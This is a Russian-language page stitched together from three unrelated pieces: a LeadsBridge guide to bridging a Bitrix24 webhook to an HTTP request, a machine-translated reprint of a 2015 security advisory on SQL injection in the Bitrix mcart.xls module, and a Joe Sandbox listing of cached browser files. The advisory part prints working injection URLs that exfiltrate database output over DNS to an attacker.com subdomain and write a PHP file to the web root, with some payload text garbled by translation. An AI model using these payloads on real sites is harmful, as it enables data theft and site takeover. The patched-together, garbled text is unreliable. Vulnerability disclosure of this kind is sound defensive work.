В этой статье вы узнаете, как настроить мост и подключить Вебхук Битрикс24 к HTTP-запросу (GET/POST) с помощью LeadsBridge.
Пошаговое руководство по настройке моста
Прежде чем начать
- Перейдите на левую боковую панель и нажмите Мосты
- Вы попадете на мостов раздел вашего аккаунта
- Нажмите кнопку Добавить новый
- Вы перейдете к первому этапу создания моста
Шаг 1: Основная информация о мосте
- Выберите имя для своего моста (оно будет видно только внутри LeadsBridge)
- Вы можете добавить метки, которые помогут вам идентифицировать ваш мост позже
- Выберите Bitrix24 Webhook в качестве источника для вашего моста
- Выберите HTTP-запрос (GET/POST) в качестве пункта назначения
- Нажмите кнопку Далее
Шаг 2: Настройте источник
Bitrix24 Webhook- Введите имя, которое вы хотите назвать своей интеграцией
- Введите URL входящего Webhook для подключения вашего Bitrix24 Webhook к LeadsBridge
- Чтобы найти Inbound Webhook для подключения Bitrix24 Webhook (как Destination) к LeadsBridge, выполните следующие действия:
- Войдите в свою учетную запись Bitrix24
- В меню слева перейдите к Подробнее.
.. » Ресурсы для разработчиков
- Нажмите Другое » Входящий веб-перехватчик вверху страницы
- Нажмите на карандаш рядом с Входящий веб-перехватчик и дайте, например, имя веб-перехватчику. , Входящий веб-перехватчик LeadsBridge
- Убедитесь, что профиль выбран в разделе Конструктор запросов
- В разделе Назначьте разрешения , нажмите + выберите
- Затем назначьте CRM и пользователей
- Нажмите СОХРАНИТЬ
- Скопируйте URL под Вебхук для вызова REST API ваша интеграция
- Наконец, нажмите Готово или Продолжить с вашей конфигурацией моста
- Выберите сегмент , который вы хотите использовать в качестве источника потенциальных клиентов
- Нажмите кнопку Далее
Шаг 3: Настройте HTTP-запрос
(GET/POST) пункт назначения- Введите имя интеграции в специальное поле
- Введите URL-адрес , Метод , Тип содержимого и Тело для соединения HTTP-запрос (GET/POST) с LeadsBridge
- URL — обязательный : где находится система, в которую вы хотите отправить информацию.
- Метод — обязательный : метод запроса, который ваша система может получить в качестве указания на желаемое действие, которое необходимо выполнить.
-
POST
— значение по умолчанию. Он используется для отправки данных на сервер для создания/обновления ресурса и является одним из наиболее распространенных методов HTTP. Если вы не уверены в том, что выбрать, оставьте все как есть.
-
- Тип контента — обязательный : используется для указания типа носителя ресурса. Работает как описание типа контента для тела сообщения.
-
application/x-www-form-urlencoded
— наиболее распространенный тип кодирования. Используйте это, если вы не используете какой-либо язык JSON или XML в теле запроса.
-
- URL — обязательный : где находится система, в которую вы хотите отправить информацию.
- Тело — обязательное : в теле сообщения устанавливаются все данные, которые в конечном итоге формируют HTTP-запрос, который будет отправлен для вставки каждого лида в вашу систему.
- Синтаксис тела должен быть следующим:
"field_id": "значение″
» field_id » уникальный идентификатор поля внутри вашей CRM/платформы; » значение » может быть статическим (число или текст, который будет одинаковым для каждого синхронизированного лида) или динамическим.0016 - Для создания динамических значений просто введите имя поля между двойными символами
@@
, что приведет к синтаксису @@field_name@@. Имя поля может быть каким угодно, оно поможет вам распознать поле в настройках моста позже.
Динамические поля будут отображаться на шаге сопоставления полей моста, где вы сможете сопоставить их с информацией об интересе. - Тем не менее, если на нашей платформе есть поле full_name для хранения полного имени лида, мы должны использовать следующий синтаксис:
full_name: @@FullName@@
Примеры кода см. в общих вопросах HTTP.
- Синтаксис тела должен быть следующим:
- Тело — обязательное : в теле сообщения устанавливаются все данные, которые в конечном итоге формируют HTTP-запрос, который будет отправлен для вставки каждого лида в вашу систему.
- Шаблон успеха — необязательный : сообщение, которое ваша система отвечает после успешного получения запроса.
- Шаблон сбоя — необязательный : сообщение об ошибке, которое ваша система отправляет при возникновении проблемы с запросом.
- Пропустить параметры кодирования в URL — необязательный : если включено, запрещается кодирование специальных символов в параметрах URL
- Шаблон успеха — необязательный : сообщение, которое ваша система отвечает после успешного получения запроса.
- Нажмите кнопку Далее
- Теперь вы сможете выбрать целевой сегмент для отправки потенциальных клиентов на .
- Вы можете выбрать получение квитанции по электронной почте для каждого входящего лида.
- Введите адрес(а), по которому вы хотите получить квитанцию
- Вы также можете изменить строку Тема электронного письма .
- Нажмите кнопку Далее
Шаг 4: Сопоставление полей
Здесь вы сможете сопоставить информацию об источнике с полями назначения.
Вы увидите имя поля с логотипом целевой интеграции вверху, это указывает имя поля на HTTP-запрос (GET/POST) .
Внизу есть поле, куда вы можете добавить информацию, которую хотите отправить.
- Проверить каждое из доступных полей HTTP-запроса (GET/POST)
- Сопоставьте информацию, которую вы хотите передать с Bitrix24 Webhook
- Вы можете ввести информацию вручную и передать ее как статическое значение
- Используйте функции для настройки информации, такой как переформатирование даты и времени или изменение текста, телефонных номеров и т. д.
- Вы также можете оставить пустым поле информации поля, которое вы не хотите отправлять через
Пользовательские поля
- Если вы хотите добавить дополнительные поля, просто посмотрите внизу страницы
- Перейдите на страницу «Не можете найти настраиваемое поле CRM?» коробка
- Выберите поле, которое вы хотите добавить, из раскрывающегося списка
- Нажмите кнопку Добавить пользовательское поле
- Поле появится выше
- Добавьте нужную информацию, как вы делали с другими
После достижения желаемого результата просто нажмите Далее и перейдите к последнему шагу.
Шаг 5: Проверка
На этом последнем шаге вы сможете отправить лида из LeadsBridge, чтобы проверить, правильно ли работает конфигурация.
- Чтобы создать новый тестовый провод, введите необходимую информацию при появлении запроса
- Нажмите Протестируйте сейчас
- Чтобы протестировать реальный лид, переключите переключатель на «Проверить с существующим лидом».
- Нажмите Синхронизировать сейчас вдоль лида, который вы хотите отправить
- Если вы все сделали правильно, кнопка станет зеленой, это означает, что ваш лид успешно синхронизирован и интеграция готова
- Нажмите Готово , чтобы сохранить настройки и активировать мост
Вот и все! Поздравляем.
Вы будете перенаправлены в раздел мостов вашей учетной записи с зеленым сообщением об успешном завершении в правом верхнем углу страницы, и теперь ваш мост будет активен.
Есть вопросы?
Вы можете ознакомиться с общими вопросами в соответствующей документации по интеграции.
- Источник: Вебхук Битрикс24
- Назначение: HTTP-запрос (GET/POST)
Если у вас есть другие вопросы или вам нужна помощь в настройке моста с Bitrix24 Webhook на HTTP-запрос (GET/POST) с LeadsBridge, не стесняйтесь обращаться в нашу службу поддержки!
mcart.xls Модуль Bitrix 6.5.2 — Внедрение SQL
Код рекомендации: HTB23279 Продукт: Модуль mcart.xls Битрикс Продавец: www.mcart.ru Уязвимые версии: 6.5.2 и, возможно, более ранние Проверенная версия: 6.5.2 Информационная публикация: 18 ноября 2015 г. [без технических подробностей] Уведомление поставщика: 18 ноября 2015 г. Публичное раскрытие информации: 13 января 2016 г. Тип уязвимости: SQL-инъекция [CWE-89] Ссылка CVE: CVE-2015-8356 Уровень риска: средний Базовая оценка CVSSv3: 6,3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L] Обнаружено и предоставлено: Исследовательская лаборатория безопасности High-Tech Bridge (https://www.htbridge.com/advisory/) -------------------------------------------------- ------------------------------------------------------------ Консультативная информация: Исследовательская лаборатория High-Tech Bridge Security обнаружила несколько уязвимостей SQL Injection в модуле mcart.xls Bitrix, которые могут быть использованы для выполнения произвольных SQL-запросов и получения потенциально конфиденциальных данных, изменения информации в базе данных и получения полного контроля над уязвимым веб-сайтом. Все обнаруженные уязвимости требуют авторизации злоумышленника на сайте и доступа к уязвимому модулю. Однако уязвимости можно эксплуатировать и через CSRF-вектор, поскольку веб-приложение не проверяет происхождение полученных запросов. Это означает, что удаленный анонимный злоумышленник может создать страницу с эксплойтом CSRF, заставить жертву посетить эту страницу и выполнить произвольные SQL-запросы в базе данных уязвимого веб-сайта.
1. Входные данные, передаваемые через параметр HTTP GET "xls_profile" в скрипт "/bitrix/admin/mcart_xls_import.php", не очищаются должным образом перед использованием в SQL-запросе. Удаленный злоумышленник, прошедший проверку подлинности, может манипулировать SQL-запросами, вводя произвольный код SQL. Приведенный ниже PoC-код основан на методе эксфильтрации DNS и может использоваться, если база данных уязвимого приложения размещена в системе Windows. PoC отправит DNS-запрос с требованием IP-адреса для `version ()` (или любого другого конфиденциального вывода из базы данных) субдомена «.attacker.com» (доменное имя, DNS-сервер которого контролируется злоумышленником): http://[host]/bitrix/admin/mcart_xls_import.php?del_prof_real=1&xls_profile=%27%20OR%201=(select%20load_file(CONCAT(CHAR(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,СИМВОЛ(98),СИМВОЛ(97),СИМВОЛ(114))))+--+ 2.
Входные данные, переданные через параметр HTTP GET "xls_profile" в скрипт "/bitrix/admin/mcart_xls_import.php", не подвергаются надлежащей санации перед использованием в SQL-запросе. Удаленный злоумышленник, прошедший проверку подлинности, может манипулировать SQL-запросами, вводя произвольный код SQL. Простой эксплойт ниже запишет строку «» в файл «/var/www/file.php»: http://[хост]/bitrix/admin/mcart_xls_import.php?xls_profile=%27%20UNION%20SELECT%201,%27%3C?%20phpinfo%28%29;%20?%3E%27,3,4,5,6,7,8,9,0%20INTO%20OUTFILE%20%27/var/www/file.php%27%20--%202 Успешная эксплуатация требует, чтобы файл "/var/www/file.php" был доступен для записи системной учетной записи MySQL. 3. Ввод передается через параметры HTTP GET "xls_iblock_id", "xls_iblock_section_id", "firstRow", "titleRow", "firstColumn", "highestColumn", "sku_iblock_id" и "xls_iblock_section_id_new" в "/bitrix/admin/mcart_xls_import_step_2.php " скрипт не подвергается надлежащей очистке перед использованием в SQL-запросе.
Удаленный злоумышленник, прошедший проверку подлинности, может манипулировать SQL-запросами, вводя произвольный код SQL. Ниже приведен список эксплойтов для каждого уязвимого параметра. Эксплойты основаны на технике DNS-эксфильтрации и могут быть использованы, если база данных уязвимого приложения размещена в системе Windows. PoC отправит DNS-запрос с требованием IP-адреса для `version ()` (или любого другого конфиденциального вывода из базы данных) субдомена «.attacker.com» (доменное имя, DNS-сервер которого контролируется злоумышленником): "xls_iblock_id": http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0,0,0,0,0,0,0,0,0,(select%20load_file(CONCAT(CHAR(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "xls_iblock_section_id" http://[host]/bitrix/admin/mcart_xls_import_step_2.
php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0,0,(select%20load_file(CONCAT(CHAR(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "Первый ряд": http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0,0,0,0,0,0,0,0,0(выберите%20load_file( СЦЕП(СИМВОЛ(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "строка заголовка": http://[host]/bitrix/admin/mcart_xls_import_step_2.
php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0,0,0,0,0,0,0,(select%20load_file(CONCAT (СИМВОЛ(92), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "первая колонка": http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0%27,0,0,0,0,0,(select%20load_file (CONCAT(СИМВОЛ(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "высшая колонка": http://[host]/bitrix/admin/mcart_xls_import_step_2.
php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0%27,0,0,0,0,(select%20load_file (CONCAT(СИМВОЛ(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0 "sku_iblock_id": http://[host]/bitrix/admin/mcart_xls_import_step_2.php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1,0,0,0,load_file(%2,0,load_file(select%2,0,load_file) (CONCAT(СИМВОЛ(9)2), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,CHAR(98),CHAR(97),CHAR(114))))%29+--+&cml2_link_code=1&xls_iblock_section_id_new=0 "xls_iblock_section_id_new": http://[host]/bitrix/admin/mcart_xls_import_step_2.
php?save_profile=Y&make_translit_code=Y&xls_iblock_id=0&xls_iblock_section_id=0&XLS_IDENTIFY=0&firstRow=0&titleRow=0&firstColumn=0&highestColumn=0&XLS_GLOBALS=0&sku_iblock_id=1&cml2_link_code=1&xls_iblock_section_id_new=0,(select%20load_file(CONCAT (СИМВОЛ(92), СИМВОЛ (92), (выбрать% 20версия()), СИМВОЛ (46), СИМВОЛ (97), СИМВОЛ (116), СИМВОЛ (116), СИМВОЛ (97), СИМВОЛ (99), СИМВОЛ (107) , СИМВОЛ (101), СИМВОЛ (114), СИМВОЛ (46), СИМВОЛ (99), СИМВОЛ (111), СИМВОЛ (109), СИМВОЛ (92), СИМВОЛ (102), СИМВОЛ (111), СИМВОЛ (111) ,СИМВОЛ(98),СИМВОЛ(97),СИМВОЛ(114))))%29+--+ -------------------------------------------------- ------------------------------------------------------------ Решение: График раскрытия информации: 18.11.2015 Поставщик уведомлен по электронной почте, ответа нет. 01.12.2015 Поставщик уведомлен по электронной почте, ответа нет. 04.12.2015 Поставщик уведомлен через контактную форму и по электронной почте, ответа нет. 11.12.2015 Запрошено исправление через контактную форму и по электронной почте, ответа нет.
28.12.2015 Исправление запрошено через контактную форму и по электронной почте, ответа нет. 11.01.2016 Запрошено исправление через контактную форму и по электронной почте, ответа нет. 13.01.2016 Публичное раскрытие информации. В настоящее время нам неизвестно какое-либо официальное решение этой уязвимости. -------------------------------------------------- ------------------------------------------------------------ Использованная литература: [1] Рекомендации по высокотехнологичному мосту HTB23279- https://www.htbridge.com/advisory/HTB23279 - Множественные уязвимости SQL Injection в модуле mcart.xls Bitrix [2] mcart.xls - https://marketplace.1c-bitrix.ru/solutions/mcart.xls/ - Модуль Битрикс для загрузки и импорта данных из файла Excel. [3] Common Vulnerabilities and Exposures (CVE) — http://cve.mitre.org/ — международный по масштабу и бесплатный для общего пользования CVE® — это словарь общеизвестных уязвимостей и уязвимостей информационной безопасности. [4] Common Weakness Enumeration (CWE) — http://cwe.
mitre.org — предназначен для разработчиков и специалистов по безопасности, CWE представляет собой формальный список типов уязвимостей программного обеспечения. [5] ImmuniWeb® SaaS — https://www.htbridge.com/immuniweb/ — гибрид ручного тестирования на проникновение веб-приложений и передового сканера уязвимостей, доступный онлайн в рамках модели «программное обеспечение как услуга» (SaaS). -------------------------------------------------- ------------------------------------------------------------ Отказ от ответственности: Информация, содержащаяся в этом информационном бюллетене, предоставляется «как есть» и без каких-либо гарантий. Детали этого информационного бюллетеня могут быть обновлены, чтобы предоставить как можно более точную информацию. Последняя версия бюллетеня доступна на веб-странице [1] в разделе «Ссылки».
Автоматический анализ вредоносных программ — Joe Sandbox Cloud Basic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\owl. | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\youtube.manager.min[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ui.font.opensans.min[1].css | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
Нажмите, чтобы увидеть 97 скрытые записи | |||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ui. | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ui.buttons.ie[1].css | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ui.buttons.bundle.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\stick. | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\simple.slide.menu.min[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\selectors.min[1].js | Текст Unicode UTF-8, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\script[1]. | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\reviews.gallery.slider.min[1].js | Текст ASCII без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\portal.auth.window.min[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\popup. | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\-KhplutJnXJ[1].js | Исходный текст C, текст ASCII, с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\opensans-regular[1].eot | Embedded OpenType (EOT), семейство Open Sans | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-5-sales-automation[1]. | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1574, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-4-sales-trends[1].jpg | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1574, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-14-roi[1]. | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1576, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-13-crm_store[1].jpg | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1576, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-12-crm-sales-plan[1]. | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1575, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-11-invoice[1].jpg | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1560, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\new-index-10-customer-support[1]. | Данные изображения JPEG, стандарт JFIF 1.01, соотношение сторон, плотность 1×1, длина сегмента 16, прогрессивная развертка, точность 8, 2880×1572, кадры 3 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mem5YaGs126MiZpBA-UNIrkOVuhv[1].woff | Web Open Font Format, TrueType, длина 25368, версия 1.1 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mem5YaGs126MiZpBA-UN7rgOVuhv[1].woff | Web Open Font Format, TrueType, длина 25528, версия 1.![]() | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\main.popup.bundle.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\blure_1x[1].png | Данные изображения PNG, 1800 x 1080, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\header. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\gtm[1].js | Текст Unicode UTF-8 с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\gapvZD5Hu8M[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\free. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\free-v4-shims.min[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\fields.min[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\crm[2]. | Документ HTML, текст Unicode UTF-8, с очень длинными строками, с разделителями строк CRLF, CR, LF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\crm[1].htm | Документ HTML, текст ASCII, с разделителями строк CRLF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\bxPartCookies[1].js | Текст ASCII с разделителями строк CRLF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\buttons. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\browser-bar-top[1].png | Данные изображения PNG, 682 x 27, 4-битная цветовая карта, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\bootstrap.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\main. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\base.min[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\ba[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\app[1]. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\YsLFkMT7i5Q[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\Yd3fLUWcbf6[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\SunriseSunset[1]. | Текст ASCII с разделителями строк CRLF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\LBEXB31F.htm | Документ HTML, текст Unicode UTF-8, с очень длинными строками, с разделителями строк CRLF, CR, LF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\KwogxgxwHfg[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\DldPgfH-lHQ[1]. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\Bpjch4HE9мл[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4h5\3Yt2IWvUpR3[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\XFDgmlkpDQR[1]. | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[1].css | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core_ls.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core_image. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core_image.min[1].css | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core_fx.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core_frame_cache. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\core.min[1].css | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\content.min[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\call. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\bootstrap.min[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\bootstrap.min[1].css | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\accordion[1]. | Текст ASCII | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\css[2].css | Текст ASCII | # | |
